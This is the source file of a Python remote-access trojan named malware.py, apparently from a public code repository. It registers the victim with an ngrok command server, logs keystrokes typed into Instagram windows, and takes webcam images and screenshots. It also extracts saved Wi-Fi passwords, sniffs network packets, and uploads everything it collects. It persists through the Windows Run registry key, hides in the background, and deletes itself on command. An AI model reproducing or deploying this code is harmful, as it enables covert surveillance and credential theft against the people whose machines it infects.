-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmalware.py
More file actions
367 lines (323 loc) · 12.7 KB
/
malware.py
File metadata and controls
367 lines (323 loc) · 12.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
import requests
import subprocess
import time
import json
import cv2
import os
import sqlite3
import win32gui
from pynput import keyboard
from threading import Thread , Lock
from PIL import ImageGrab
from datetime import datetime
import webbrowser
import platform
import sys
import threading
import socket
from scapy.all import sniff, ARP, DNS, DNSQR, IP, TCP
import winreg as reg
target_registered = False
SERVER_URL = "https://19ec-152-59-95-229.ngrok-free.app" # I used ngrok to create a globally accessible domain or public IP, allowing a connection to be established even if the target is not on the same network as the admin.You can also use http://localhost:8080/ if the admin and target is connected via same network.
ADMIN_URL = f"{SERVER_URL}/command"
UPLOAD_URL = f"{SERVER_URL}/upload"
LOG_UPLOAD_URL = f"{SERVER_URL}/log_upload"
WIFI_UPLOAD_URL= f"{SERVER_URL}/receive_wifi_data"
Network_Sniffing_URL = f"{SERVER_URL}/receive"
packet_buffer = []
# Keylogger settings
DB_FILE = 'keylogs.db'
TARGET_WEBSITE = "Instagram"
command_lock = Lock()
def register_target():
global target_registered
if target_registered:
print("Target already registered.")
return
try:
hostname = socket.gethostname()
ip_address = socket.gethostbyname(hostname)
target_data = {"name": hostname, "status": "Active", "ip": ip_address}
response = requests.post(f"{SERVER_URL}/register_target", json=target_data)
if response.status_code == 200:
print("Target successfully registered.")
target_registered = True
else:
print(f"Failed to register target. Status code: {response.status_code}")
except Exception as e:
print(f"Error registering target: {e}")
# Initialize the keylogger database
def initialize_db():
conn = sqlite3.connect(DB_FILE)
cursor = conn.cursor()
cursor.execute('CREATE TABLE IF NOT EXISTS logs (timestamp TEXT, key TEXT)')
conn.commit()
conn.close()
# Background daemonization so that the malware continues to run even when the command line is not active, allowing it to function independently.
def daemonize():
if len(sys.argv) > 1 and sys.argv[1] == "--child":
return
subprocess.Popen([sys.executable, __file__, "--child"], creationflags=subprocess.CREATE_NO_WINDOW)
sys.exit()
# Termination handling
terminate_event = threading.Event()
def listen_for_terminate():
while not terminate_event.is_set():
try:
response = requests.get(f"{SERVER_URL}/terminate_status")
if response.status_code == 200:
terminate_command = response.json().get("terminate", False)
if terminate_command:
print("Termination command received. Shutting down...")
self_delete()
terminate_event.set()
break
except Exception as e:
print(f"Error checking terminate status: {e}")
time.sleep(5)
def self_delete():
"""Delete the malware script and shut down."""
try:
file_path = os.path.abspath(__file__)
os.remove(file_path)
print(f"Malware deleted: {file_path}")
except Exception as e:
print(f"Failed to delete malware: {e}")
finally:
os._exit(0)
# Webcam Functions
def capture_image():
try:
camera = cv2.VideoCapture(0)
if not camera.isOpened():
print("Failed to access webcam.")
return None
ret, frame = camera.read()
if not ret:
print("Failed to capture image.")
camera.release()
return None
image_path = f"image_{datetime.now().strftime('%Y%m%d_%H%M%S')}.jpg"
cv2.imwrite(image_path, frame)
camera.release()
return image_path
except Exception as e:
print(f"Error in capture_image: {e}")
return None
def send_image(image_path):
try:
with open(image_path, 'rb') as img_file:
response = requests.post(UPLOAD_URL, files={"file": img_file})
if response.status_code == 200:
print("Image sent successfully.")
return True
else:
print(f"Failed to send image. Response code: {response.status_code}")
except Exception as e:
print(f"Error sending image: {e}")
return False
def delete_image(image_path):
if os.path.exists(image_path):
os.remove(image_path)
print(f"Deleted image: {image_path}")
# Screenshot Functions
def capture_screenshot():
try:
screenshot = ImageGrab.grab()
screenshot_path = f"screenshot_{datetime.now().strftime('%Y%m%d_%H%M%S')}.jpg"
screenshot.save(screenshot_path)
return screenshot_path
except Exception as e:
print(f"Error capturing screenshot: {e}")
return None
# Wi-Fi Password Extraction
def extract_wifi_passwords():
try:
profiles_data = subprocess.check_output("netsh wlan show profiles", shell=True).decode('utf-8', errors='ignore')
profiles = [line.split(":")[1].strip() for line in profiles_data.splitlines() if "All User Profile" in line]
wifi_details = {}
for profile in profiles:
try:
command = f'netsh wlan show profile "{profile}" key=clear'
profile_data = subprocess.check_output(command, shell=True).decode('utf-8', errors='ignore')
password_lines = [line.split(":")[1].strip() for line in profile_data.splitlines() if "Key Content" in line]
password = password_lines[0] if password_lines else "No Password"
wifi_details[profile] = password
except subprocess.CalledProcessError:
wifi_details[profile] = "Error retrieving details"
return json.dumps(wifi_details, indent=2)
except Exception as e:
print(f"Error extracting Wi-Fi passwords: {e}")
return None
def send_wifi_data():
while True:
try:
response = requests.get(ADMIN_URL)
if response.status_code == 200:
command = response.json().get("command")
if command == "extract_wifi_passwords":
wifi_data = extract_wifi_passwords()
if wifi_data:
requests.post(WIFI_UPLOAD_URL, data={"result": wifi_data})
requests.post(ADMIN_URL, json={"command": None})
except Exception as e:
print(f"Error in Wi-Fi data thread: {e}")
time.sleep(10)
# Keylogger functions
def get_active_window_title():
try:
hwnd = win32gui.GetForegroundWindow()
return win32gui.GetWindowText(hwnd)
except Exception as e:
print(f"Error in get_active_window_title: {e}")
return ""
def log_key(key):
try:
if TARGET_WEBSITE in get_active_window_title():
key = str(key).replace("'", "")
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
conn = sqlite3.connect(DB_FILE)
cursor = conn.cursor()
cursor.execute('INSERT INTO logs (timestamp, key) VALUES (?, ?)', (timestamp, key))
conn.commit()
conn.close()
except Exception as e:
print(f"Error logging key: {e}")
def send_logs():
while True:
try:
conn = sqlite3.connect(DB_FILE)
cursor = conn.cursor()
cursor.execute('SELECT * FROM logs')
logs = cursor.fetchall()
if logs:
response = requests.post(LOG_UPLOAD_URL, json=logs)
if response.status_code == 200:
cursor.execute('DELETE FROM logs')
conn.commit()
conn.close()
except Exception as e:
print(f"Error in send_logs: {e}")
time.sleep(30)
# Opening URL Function
def open_url(url):
try:
webbrowser.open(url)
print(f"Opened URL: {url}")
except Exception as e:
print(f"Error opening URL: {e}")
# Shutdown Function
def shutdown_target():
try:
if platform.system() == "Windows":
os.system("shutdown /s /t 0")
elif platform.system() == "Linux":
os.system("shutdown now")
else:
print("Shutdown command not supported on this OS.")
except Exception as e:
print(f"Error shutting down the system: {e}")
# Network Sniffing
def process_packet(packet):
"""Process captured packets and add them to the buffer."""
packet_data = {}
if packet.haslayer(ARP):
packet_data = {
'Type': 'ARP',
'Source': packet[ARP].psrc,
'Destination': packet[ARP].pdst,
'Details': f"Who has {packet[ARP].pdst}? Tell {packet[ARP].psrc}"
}
elif packet.haslayer(DNS) and packet.haslayer(DNSQR):
src = packet[IP].src if packet.haslayer(IP) else "Unknown"
dst = packet[IP].dst if packet.haslayer(IP) else "Unknown"
packet_data = {
'Type': 'DNS',
'Source': src,
'Destination': dst,
'Details': f"Query: {packet[DNSQR].qname.decode('utf-8')}"
}
elif packet.haslayer(IP) and packet.haslayer(TCP) and packet[TCP].dport == 80:
src = packet[IP].src
dst = packet[IP].dst
packet_data = {
'Type': 'HTTP',
'Source': src,
'Destination': dst,
'Details': f"HTTP Request from {src} to {dst}"
}
if packet_data:
packet_buffer.append(packet_data)
def send_buffered_packets():
"""Send buffered packets to the server."""
global packet_buffer
if packet_buffer:
try:
response = requests.post(Network_Sniffing_URL, json={"packets": packet_buffer})
if response.status_code == 200:
print(f"Sent {len(packet_buffer)} packets successfully.")
packet_buffer = []
else:
print(f"Failed to send packets. Status code: {response.status_code}")
except Exception as e:
print(f"Error sending packets: {e}")
# Command Listener
def listen_for_commands():
while not terminate_event.is_set():
try:
response = requests.get(ADMIN_URL)
if response.status_code == 200:
command = response.json().get("command")
if isinstance(command, str):
if command == "capture":
image_path = capture_image()
if image_path and send_image(image_path):
delete_image(image_path)
elif command == "screenshot":
screenshot_path = capture_screenshot()
if screenshot_path and send_image(screenshot_path):
delete_image(screenshot_path)
elif command.startswith("open_url:"):
url = command.split(":", 1)[1]
open_url(url)
elif command == "shutdown":
shutdown_target()
requests.post(ADMIN_URL, json={"command": None})
except Exception as e:
print(f"Error in command listener: {e}")
time.sleep(2)
print("Terminating command listener...")
def sniff_packets():
"""Sniff packets continuously while sending data periodically."""
while not terminate_event.is_set():
try:
sniff(prn=process_packet, count=10, store=0)
send_buffered_packets()
except Exception as e:
print(f"Error in packet sniffer: {e}")
time.sleep(5)
#Adding malwrae to windows startup so that the malware remains active across the system reboots of the target pc
def add_to_startup(key_name="SystemService"):
"""Add or update the malware in the startup registry key."""
try:
file_path = os.path.realpath(sys.argv[0])
key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, reg.KEY_SET_VALUE)
reg.SetValueEx(key, key_name, 0, reg.REG_SZ, file_path)
reg.CloseKey(key)
print(f"Successfully added {file_path} to startup.")
except Exception as e:
print(f"Failed to add to startup: {e}")
# Main Program
if __name__ == "__main__":
register_target()
add_to_startup()
daemonize()
initialize_db()
threading.Thread(target=listen_for_commands, daemon=True).start()
threading.Thread(target=send_logs, daemon=True).start()
threading.Thread(target=send_wifi_data, daemon=True).start()
threading.Thread(target=send_buffered_packets, daemon=True).start()
threading.Thread(target=sniff_packets, daemon=True).start()
threading.Thread(target=listen_for_terminate).start()
with keyboard.Listener(on_press=log_key) as listener:
listener.join()